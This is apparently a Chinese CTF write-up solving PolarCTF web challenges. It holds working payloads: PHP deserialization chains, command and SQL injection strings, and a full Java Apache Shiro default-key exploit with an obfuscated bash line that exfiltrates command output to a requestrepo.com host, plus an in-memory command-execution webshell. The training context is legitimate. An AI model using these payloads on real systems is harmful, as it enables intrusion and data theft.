机器人 打开页面:
一眼robots.txt
1 2 3 User-agent: * Disallow: /27f5e15b6af3223f1176293cd015771d Flag: flag{4749ea1ea481a5d
只有一半,还有一半呢?给了一个路由,我们尝试扫扫这个路由:
进入/27f5e15b6af3223f1176293cd015771d/flag.php拿到后半段flag
ps:27f5e15b6af3223f1176293cd015771d是robot的md5
PHP反序列化初试 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class Easy { public $name ; public function __wakeup ( ) { echo $this ->name; } } class Evil { public $evil ; private $env ; public function __toString ( ) { $this ->env=shell_exec ($this ->evil); return $this ->env; } } if (isset ($_GET ['easy' ])){ unserialize ($_GET ['easy' ]); }else { highlight_file (__FILE__ ); }
poc:
1 2 3 4 5 6 7 8 9 10 11 12 <?php class Easy { public $name ; } class Evil { public $evil ='cat f*' ; public $env ; } $a = new Easy ();$a ->name = new Evil ();echo serialize ($a );
覆盖 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );if (empty ($_GET ['id' ])) { show_source (__FILE__ ); die (); } else { include 'flag.php' ; $a = "www.baidu.com" ; $result = "" ; $id = $_GET ['id' ]; @parse_str ($id ); echo $a [0 ]; if ($a [0 ] == 'www.polarctf.com' ) { $ip = $_GET ['cmd' ]; $result .= shell_exec ('ping -c 2 ' . $a [0 ] . $ip ); if ($result ) { echo "<pre>{$result} </pre>" ; } } else { exit ('其实很简单!' ); } }
parse_str()这个函数有变量覆盖的作用。
由于$a[0] == ‘www.polarctf.com',我们希望这里a是一个数组,那么可以传入id=a[]=www.polarctf.com,
后面cmd利用分号闭合前面的命令,在后方执行命令即可:
payload:
1 ?id=a[]=www.polarctf.com&cmd=;cat flag.php
uploader 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $sandBox = md5 ($_SERVER ['REMOTE_ADDR' ]);if (!is_dir ($sandBox )){ mkdir ($sandBox ,0755 ,true ); } if ($_FILES ){ move_uploaded_file ($_FILES ['file' ]['tmp_name' ],$sandBox ."/" .$_FILES ["file" ]["name" ]); echo "上传文件名: " . $_FILES ["file" ]["name" ] . "<br>" ; echo "文件类型: " . $_FILES ["file" ]["type" ] . "<br>" ; echo "文件大小: " . ($_FILES ["file" ]["size" ] / 1024 ) . " kB<br>" ; echo $sandBox ; } highlight_file (__FILE__ );
搓个文件上传脚本:
1 2 3 4 5 6 7 8 import requestsurl = 'http://4e9e85b4-8e4f-4e35-b10d-daab160a2546.www.polarctf.com:8090/' files = {'file' : open ('恶意文件地址' , 'rb' )} res = requests.post(url=url, files=files) print (res.text)
search
一眼sql注入,有过滤,先fuzz一下:
发现过滤了:
1 " 空格 if sleep union from where like updatexml extractvalue regexp outfile create drop等
初检查一下,好像没有什么常用的注入方法可以用,关键函数都被过滤了,但是,好像大小写可以绕过哈(
那普通联合注入就行:
1 1'/**/Union/**/select/**/1,2,3,4,5%23
利用2回显点
1 2 1'/**/Union/**/select/**/1,database(),3,4,5%23 库是CTF
1 2 1'/**/Union/**/select/**/1,group_concat(table_name),3,4,5/**/From/**/information_schema.tables/**/Where/**/table_schema=database()%23 表有两个:Flag和Students
1 2 1'/**/Union/**/select/**/1,group_concat(column_name),3,4,5/**/From/**/information_schema.columns/**/Where/**/table_schema=database()/**/and/**/table_name='Flag'%23 列名是Flag
1 2 1'/**/Union/**/select/**/1,Flag,3,4,5/**/From/**/CTF.Flag%23 flag{Polar_CTF_426891370wxbglbnfwaq}
file 扫一遍发现了uploaded目录和upload.php,直接进去upload.php。
随便传一个马,发现uploaded目录没有,题目前端提示上传文件尝试把Content-Type改成image/jpeg
PlayGame 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php class User { public $name ; public $age ; public $sex ; public function __toString ( ) { return "name:" .$this ->name."age:" .$this ->age."sex:" .$this ->sex; } public function setName ($name ) { $this ->name=$name ; } public function setAge ($age ) { $this ->$age =$age ; } public function setSex ($sex ) { $this ->$sex =$sex ; } } class PlayGame { public $user ; public $gameFile ="./game" ; public function openGame ( ) { return file_get_contents ($this ->gameFile); } public function __destruct ( ) { echo $this ->user->name."GameOver!" ; } public function __toString ( ) { return $this ->user->name."PlayGame " . $this ->user->age . $this ->openGame (); } } if (isset ($_GET ['polar_flag.flag' ])){ unserialize ($_GET ['polar_flag.flag' ]); }else { highlight_file (__FILE__ ); }
入题点是file_get_contents,读文件。gameFile属性改成/flag
PlayGame::__toString里会调用openGame方法。
PlayGame::__destruct会自动执行,如果让name是一个Object,那么就会调用__toString方法。
首先$this->user得是一个User类的对象,这里面才有name。
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class User { public $name ; public $age ; public $sex ; } class PlayGame { public $user ; public $gameFile ="/flag" ; } $a = new PlayGame ();$a ->user = new User ();$a ->user->name = new PlayGame ();echo serialize ($a );
最后的非法参数:如果前面有中括号,会先把中括号转化成下划线,后面的非法部分保持原样,所以payload:
1 ?polar[flag.flag=O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";s:5:"/flag";}
csdn 开局一个xxs=网址
phar 源码:
1 2 3 4 5 6 7 8 9 10 <?php include 'funs.php' ;highlight_file (__FILE__ );if (isset ($_GET ['file' ])) { if (myWaf ($_GET ['file' ])) { include ($_GET ['file' ]); } else { unserialize ($_GET ['data' ]); } }
有文件包含点,先看看funs.php
1 ?file=php://filter/read=convert.base64-encode/resource=funs.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php include 'f1@g.php' ;function myWaf ($data ) { if (preg_match ("/f1@g/i" , $data )) { echo "NONONONON0!" ; return FALSE ; } else { return TRUE ; } } class A { private $a ; public function __destruct ( ) { echo "A->" . $this ->a . "destruct!" ; } } class B { private $b = array (); public function __toString ( ) { $str_array = $this ->b; $str2 = $str_array ['kfc' ]->vm50; return "Crazy Thursday" .$str2 ; } } class C { private $c = array (); public function __get ($kfc ) { global $flag ; $f = $this ->c[$kfc ]; var_dump ($$f ); } }
flag在C::__get方法里,最后会输出$$f,所以我们需要$f=flag,最后才会输出$flag,所以c[$kfc]要为flag。
在B:: __toString方法里$str2 = $str_array['kfc']->vm50;
会调用__get,而访问不存在的属性触发的__get方法的属性值就是__get方法的参数值,这里就是$kfc,所以$kfc为vm50。我们在$c这个数组里就可以写:
1 public $c =array ("vm50" =>"flag" );
同时我们需要b数组里的kfc的值是C类的对象。
A::__destruct()会调用B:: __toString()
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class A { public $a ; } class B { public $b ; } class C { public $c =array ("vm50" =>"flag" ); } $a = new A ();$a ->a = new B ();$a ->a->b['kfc' ] = new C ();echo serialize ($a );
payload:
1 ?file=f1@g.php&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}
PHP_Deserialization 好多反序列化=-=
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class Polar { public $night ; public $night_arg ; public function __wakeup ( ) { echo "hacker" ; $this ->night->hacker ($this ->night_arg); } } class Night { public function __call ($name , $arguments ) { echo "wrong call:" . $name . " arg:" . $arguments [0 ]; } } class Day { public $filename ="/flag" ; public function __toString ( ) { $this ->filename = str_replace ("flag" , "" , $this ->filename); echo file_get_contents ($this ->filename); return $this ->filename; } } if (isset ($_POST ['polar' ])) { unserialize (base64_decode ($_POST ['polar' ])); } else { highlight_file (__FILE__ ); }
入题点还是file_get_contents函数,只不过把flag变成空了,我们双写绕过即可。
Night::__call会调用Day::__toString,Polar::__wakeup()里会调用Night::__call
__call($name, $arguments)方法的两个参数分别是错误的方法名和方法接受的属性,这里错误的方法名是hacker,属性就是night_arg,这个我们可控。
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class Polar { public $night ; public $night_arg ; } class Night {} class Day { public $filename ="/flflagag" ; } $a = new Polar ();$a ->night = new Night ();$a ->night_arg = new Day ();echo base64_encode (serialize ($a ));
payload:
1 polar=Tzo1OiJQb2xhciI6Mjp7czo1OiJuaWdodCI7Tzo1OiJOaWdodCI6MDp7fXM6OToibmlnaHRfYXJnIjtPOjM6IkRheSI6MTp7czo4OiJmaWxlbmFtZSI7czo5OiIvZmxmbGFnYWciO319
PolarOA 在登录界面尝试登录并抓包查看信息,发现rememberMe
的特征字符串,可猜测考察shiro
反序列化的利用。
我们知道低版本shiro的反序列化漏洞是因为其cookie是AES加密的,而密钥是固定的,所以会导致任意cookie注入。就会导致反序列化漏洞。所以我们的第一步肯定是找到密钥。
后发现是shiro 1.2.4
默认的key
:kPH+bIxk5D2deZiIxcaaaA==
那我们可以尝试直接打CB无CC依赖的链:
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.shiro.codec.CodecSupport;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.PriorityQueue;public class CB_no_CC { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "aaa" ); byte [] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class" )); byte [][] codes = {code}; setFieldValue(templates, "_bytecodes" , codes); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); BeanComparator Beancomparator = new BeanComparator (); PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , Beancomparator); queue.add(1 ); queue.add(2 ); setFieldValue(Beancomparator,"property" ,"outputProperties" ); setFieldValue(queue,"queue" ,new Object []{templates,templates}); setFieldValue(Beancomparator, "comparator" , String.CASE_INSENSITIVE_ORDER); OutputCookieWithKey(queue,"kPH+bIxk5D2deZiIxcaaaA==" ); } public static void OutputCookieWithKey (Object eval,String shiro_key) throws IOException{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(eval); AesCipherService aes = new AesCipherService (); byte [] key = Base64.getDecoder().decode(CodecSupport.toBytes(shiro_key)); byte [] bytes = byteArrayOutputStream.toByteArray(); ByteSource ciphertext; ciphertext = aes.encrypt(bytes, key); System.out.println(ciphertext); } public static void setFieldValue (Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true ); declaredField.set(object,filed_value); } }
runtime类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class runtime extends AbstractTranslet { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Runtime.getRuntime().exec("bash -c {echo,Y3VybCBgbHNgLm5ubmhoMWpiLnJlcXVlc3RyZXBvLmNvbQ==}|{base64,-d}|{bash,-i}" ); } catch (IOException e) { e.printStackTrace(); } } }
嗯。打不通,究其原因是因为这道题不出网。
这道题的条件是传入Cookie的字符串要小于大约3500个字符,可以修改payload长度来控制cookie长度。
把以下两个文件放在ysoserial整个工程文件里
首先DynamicClassGenerator
用来生成恶意class
,针对不同系统使用不同的方法即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 package ysoserial.shiropoc;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.*;import java.io.IOException;public class DynamicClassGenerator { public CtClass genPayloadForWin () throws NotFoundException, CannotCompileException, IOException { ClassPool classPool = ClassPool.getDefault(); CtClass clazz = classPool.makeClass("Exp" ); if ((clazz.getDeclaredConstructors()).length != 0 ) { clazz.removeConstructor(clazz.getDeclaredConstructors()[0 ]); } clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {\n" + " try {\n" + " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" + " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" + " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" + "\n" + " String te = httprequest.getHeader(\"Host\");\n" + " httpresponse.addHeader(\"Host\", te);\n" + " String tc = httprequest.getHeader(\"CMD\");\n" + " if (tc != null && !tc.isEmpty()) {\n" + " String[] cmd = new String[]{\"cmd.exe\", \"/c\", tc}; \n" + " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" + " httpresponse.getWriter().write(new String(result));\n" + "\n" + " }\n" + " httpresponse.getWriter().flush();\n" + " httpresponse.getWriter().close();\n" + " } catch (Exception e) {\n" + " e.getStackTrace();\n" + " }\n" + " }" , clazz)); clazz.getClassFile().setMajorVersion(50 ); CtClass superClass = classPool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); return clazz; } public CtClass genPayloadForLinux () throws NotFoundException, CannotCompileException { ClassPool classPool = ClassPool.getDefault(); CtClass clazz = classPool.makeClass("Exp" ); if ((clazz.getDeclaredConstructors()).length != 0 ) { clazz.removeConstructor(clazz.getDeclaredConstructors()[0 ]); } clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {\n" + " try {\n" + " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" + " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" + " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" + "\n" + " String te = httprequest.getHeader(\"Host\");\n" + " httpresponse.addHeader(\"Host\", te);\n" + " String tc = httprequest.getHeader(\"CMD\");\n" + " if (tc != null && !tc.isEmpty()) {\n" + " String[] cmd = new String[]{\"/bin/sh\", \"-c\", tc};\n" + " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" + " httpresponse.getWriter().write(new String(result));\n" + "\n" + " }\n" + " httpresponse.getWriter().flush();\n" + " httpresponse.getWriter().close();\n" + " }\n" + " }" , clazz)); clazz.getClassFile().setMajorVersion(50 ); CtClass superClass = classPool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); return clazz; } }
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package shiropoc;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;import org.apache.shiro.codec.Base64;import org.apache.shiro.codec.CodecSupport;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.util.PriorityQueue;import static ysoserial.payloads.util.Reflections.setFieldValue;public class POC { public static void main (String[] args) throws Exception { com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = getTemplate(); final BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{templates, templates}); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(queue); AesCipherService aes = new AesCipherService (); byte [] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA==" )); byte [] bytes = byteArrayOutputStream.toByteArray(); ByteSource ciphertext; ciphertext = aes.encrypt(bytes, key); System.out.println(ciphertext); } public static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl getTemplate () throws Exception { DynamicClassGenerator classGenerator = new DynamicClassGenerator (); CtClass clz = classGenerator.genPayloadForLinux(); com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl obj = new com .sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(); setFieldValue(obj, "_bytecodes" , new byte [][]{clz.toBytecode()}); setFieldValue(obj, "_name" , "a" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); return obj; } }
运行poc之后的cookie全部打进去,然后利用http头CMD来执行命令:
flag{d50d0c23-262d-4a16-1046-e55b27ff8f6b}
Fastjson 好好好,Fastjson,待我稍作思量。